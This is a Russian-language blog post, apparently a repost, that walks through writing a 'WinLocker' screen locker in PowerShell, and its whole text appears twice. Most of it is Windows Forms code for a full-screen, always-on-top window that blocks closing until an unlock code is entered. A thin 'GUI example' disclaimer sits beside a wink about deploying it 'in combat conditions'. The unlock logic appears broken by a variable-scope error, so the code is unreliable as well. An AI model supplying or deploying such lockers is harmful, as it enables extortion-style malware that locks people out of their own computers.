background img

The New Stuff

Пишем WinLocker на PowerShell


Целью статьи не является создание вредоносного приложения. Полученный в результате код можно использовать в качестве примера создания GUI с помощью PowerShell. Пару лет назад я уже освещал тему создания подобного кода с помощью VBScript, правда тогда не обошлось без «костыля» в виде ActiveX DLL. В этот раз есть возможность решить вопрос «нативными» средствами.




Для начала нарисуем интерфейс нашего локера.
Честно говоря я не представляю себе скрипт, для создания интерфейса которого может возникнуть необходимость использовать WPF — красота тут ни к чему. В общем на любителя. По-моему проще через Windows Forms.
Открываем PowerShell ISE, рисуем:
- форму без границ, во весь экран, поверх всех окон, слегка прозрачную, оттенка синего цвета
- кнопку для проверки введенного кода разблокировки
- текстовое поля для ввода кода разблокировки
- поле, содержащее текст приглашения ввести код разблокировки


$Form = New-Object System.Windows.Forms.Form
$Form.TopMost = $true
$Form.FormBorderStyle = 0 # None
$Form.BackColor = '#3333ff'
$Form.WindowState = 2 # Maximized
$Form.ShowInTaskbar = $false
$Form.Opacity = 0.8

$Button = New-Object System.Windows.Forms.Button
$Button.Text = 'OK'
$Button.ForeColor = '#ffffff'
$Button.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,1,3) # Normal, Bold
$Button.Anchor = 0 # None
$Button.Width = 200
$Button.Height = 30
$Button.Left = ($Form.ClientSize.Width - $Button.Width)/2
$Button.Top = ($Form.ClientSize.Height - $Button.Height)/2 + 60
$Form.Controls.Add($Button)

$TextBox = New-Object System.Windows.Forms.TextBox
$TextBox.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,0,3) # Normal, Bold
$TextBox.Anchor = 0 # None
$TextBox.Width = 200
$TextBox.Left = ($Form.ClientSize.Width - $TextBox.Width)/2
$TextBox.Top = ($Form.ClientSize.Height - $TextBox.Height)/2 + 30
$Form.Controls.Add($TextBox)

$Label = New-Object System.Windows.Forms.Label
$Label.Font = New-Object System.Drawing.Font('Times New Roman',22,3,3) # Italic, Bold
$Label.ForeColor = '#ffffff'
$Label.AutoSize = $false
$Label.Dock = 5 # Fill
$Label.TextAlign = 32 # MiddleCenter
$Label.Text = "Пожалуйста, введите код:"
$Form.Controls.Add($Label)

$Form.ShowDialog() | Out-Null
Добавим логику приложения: функцию проверки введенного кода и обработчики событий
(в том числе запретим закрытие приложения до тех пор, пока пользователь не введет требуемый код).
Add-Type -AssemblyName System.Windows.Forms

$Form = New-Object System.Windows.Forms.Form
$Form.TopMost = $true
$Form.FormBorderStyle = 0 # None
$Form.BackColor = '#3333ff'
$Form.WindowState = 2 # Maximized
$Form.ShowInTaskbar = $false
$Form.Opacity = 0.8

$Button = New-Object System.Windows.Forms.Button
$Button.Text = 'OK'
$Button.ForeColor = '#ffffff'
$Button.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,1,3) # Normal, Bold
$Button.Anchor = 0 # None
$Button.Width = 200
$Button.Height = 30
$Button.Left = ($Form.ClientSize.Width - $Button.Width)/2
$Button.Top = ($Form.ClientSize.Height - $Button.Height)/2 + 60
$Form.Controls.Add($Button)

$TextBox = New-Object System.Windows.Forms.TextBox
$TextBox.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,0,3) # Normal, Bold
$TextBox.Anchor = 0 # None
$TextBox.Width = 200
$TextBox.Left = ($Form.ClientSize.Width - $TextBox.Width)/2
$TextBox.Top = ($Form.ClientSize.Height - $TextBox.Height)/2 + 30
$Form.Controls.Add($TextBox)

$Label = New-Object System.Windows.Forms.Label
$Label.Font = New-Object System.Drawing.Font('Times New Roman',22,3,3) # Italic, Bold
$Label.ForeColor = '#ffffff'
$Label.AutoSize = $false
$Label.Dock = 5 # Fill
$Label.TextAlign = 32 # MiddleCenter
$Label.Text = "Пожалуйста, введите код:"
$Form.Controls.Add($Label)

$notClose = $true # глобальная переменная - не позволять закрывать форму

# функция проверки введенного кода
function checkCode() {
$code = '12345'
if ($TextBox.Text -eq $code) {
$notClose = $false
$Form.Close()
}
}

# функция-обработчик события для текстового поля
function keyDown() {
$ret = 'Return'
if ($_.KeyCode -eq $ret) {
Invoke-Expression "checkCode"
}
}

# функция-обработчик события закрытия формы
function formClosing() {
if ($notClose) {
$_.Cancel = $true
}
}

# обработчик события для кнопки
$Button.add_Click({ Invoke-Expression "checkCode" })

# обработчик события для текстового поля
$TextBox.add_KeyDown({ Invoke-Expression "keyDown" })

# обработчик события закрытия формы
$Form.add_FormClosing({ Invoke-Expression "formClosing" })

$Form.ShowDialog() | Out-Null
Выполняем скрипт в PowerShell ISE (F5) . . .
Как запустить выполнение скрипта в «боевых» условиях — догадайтесь сами Smile.
Дисклеймер: за «допиливание» полученного кода с целью противозаконного использования автор ответственности не несет.
Источник: angelkeeper.wordpress.com

Целью статьи не является создание вредоносного приложения. Полученный в результате код можно использовать в качестве примера создания GUI с помощью PowerShell. Пару лет назад я уже освещал тему создания подобного кода с помощью VBScript, правда тогда не обошлось без «костыля» в виде ActiveX DLL. В этот раз есть возможность решить вопрос «нативными» средствами.




Для начала нарисуем интерфейс нашего локера.
Честно говоря я не представляю себе скрипт, для создания интерфейса которого может возникнуть необходимость использовать WPF — красота тут ни к чему. В общем на любителя. По-моему проще через Windows Forms.
Открываем PowerShell ISE, рисуем:
- форму без границ, во весь экран, поверх всех окон, слегка прозрачную, оттенка синего цвета
- кнопку для проверки введенного кода разблокировки
- текстовое поля для ввода кода разблокировки
- поле, содержащее текст приглашения ввести код разблокировки


$Form = New-Object System.Windows.Forms.Form
$Form.TopMost = $true
$Form.FormBorderStyle = 0 # None
$Form.BackColor = '#3333ff'
$Form.WindowState = 2 # Maximized
$Form.ShowInTaskbar = $false
$Form.Opacity = 0.8

$Button = New-Object System.Windows.Forms.Button
$Button.Text = 'OK'
$Button.ForeColor = '#ffffff'
$Button.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,1,3) # Normal, Bold
$Button.Anchor = 0 # None
$Button.Width = 200
$Button.Height = 30
$Button.Left = ($Form.ClientSize.Width - $Button.Width)/2
$Button.Top = ($Form.ClientSize.Height - $Button.Height)/2 + 60
$Form.Controls.Add($Button)

$TextBox = New-Object System.Windows.Forms.TextBox
$TextBox.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,0,3) # Normal, Bold
$TextBox.Anchor = 0 # None
$TextBox.Width = 200
$TextBox.Left = ($Form.ClientSize.Width - $TextBox.Width)/2
$TextBox.Top = ($Form.ClientSize.Height - $TextBox.Height)/2 + 30
$Form.Controls.Add($TextBox)

$Label = New-Object System.Windows.Forms.Label
$Label.Font = New-Object System.Drawing.Font('Times New Roman',22,3,3) # Italic, Bold
$Label.ForeColor = '#ffffff'
$Label.AutoSize = $false
$Label.Dock = 5 # Fill
$Label.TextAlign = 32 # MiddleCenter
$Label.Text = "Пожалуйста, введите код:"
$Form.Controls.Add($Label)

$Form.ShowDialog() | Out-Null
Добавим логику приложения: функцию проверки введенного кода и обработчики событий
(в том числе запретим закрытие приложения до тех пор, пока пользователь не введет требуемый код).
Add-Type -AssemblyName System.Windows.Forms

$Form = New-Object System.Windows.Forms.Form
$Form.TopMost = $true
$Form.FormBorderStyle = 0 # None
$Form.BackColor = '#3333ff'
$Form.WindowState = 2 # Maximized
$Form.ShowInTaskbar = $false
$Form.Opacity = 0.8

$Button = New-Object System.Windows.Forms.Button
$Button.Text = 'OK'
$Button.ForeColor = '#ffffff'
$Button.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,1,3) # Normal, Bold
$Button.Anchor = 0 # None
$Button.Width = 200
$Button.Height = 30
$Button.Left = ($Form.ClientSize.Width - $Button.Width)/2
$Button.Top = ($Form.ClientSize.Height - $Button.Height)/2 + 60
$Form.Controls.Add($Button)

$TextBox = New-Object System.Windows.Forms.TextBox
$TextBox.Font = New-Object System.Drawing.Font("Microsoft Sans Serif",12,0,3) # Normal, Bold
$TextBox.Anchor = 0 # None
$TextBox.Width = 200
$TextBox.Left = ($Form.ClientSize.Width - $TextBox.Width)/2
$TextBox.Top = ($Form.ClientSize.Height - $TextBox.Height)/2 + 30
$Form.Controls.Add($TextBox)

$Label = New-Object System.Windows.Forms.Label
$Label.Font = New-Object System.Drawing.Font('Times New Roman',22,3,3) # Italic, Bold
$Label.ForeColor = '#ffffff'
$Label.AutoSize = $false
$Label.Dock = 5 # Fill
$Label.TextAlign = 32 # MiddleCenter
$Label.Text = "Пожалуйста, введите код:"
$Form.Controls.Add($Label)

$notClose = $true # глобальная переменная - не позволять закрывать форму

# функция проверки введенного кода
function checkCode() {
$code = '12345'
if ($TextBox.Text -eq $code) {
$notClose = $false
$Form.Close()
}
}

# функция-обработчик события для текстового поля
function keyDown() {
$ret = 'Return'
if ($_.KeyCode -eq $ret) {
Invoke-Expression "checkCode"
}
}

# функция-обработчик события закрытия формы
function formClosing() {
if ($notClose) {
$_.Cancel = $true
}
}

# обработчик события для кнопки
$Button.add_Click({ Invoke-Expression "checkCode" })

# обработчик события для текстового поля
$TextBox.add_KeyDown({ Invoke-Expression "keyDown" })

# обработчик события закрытия формы
$Form.add_FormClosing({ Invoke-Expression "formClosing" })

$Form.ShowDialog() | Out-Null
Выполняем скрипт в PowerShell ISE (F5) . . .
Как запустить выполнение скрипта в «боевых» условиях — догадайтесь сами Smile.
Дисклеймер: за «допиливание» полученного кода с целью противозаконного использования автор ответственности не несет.
Источник: angelkeeper.wordpress.com

0 коммент.:

Отправить комментарий

Popular Posts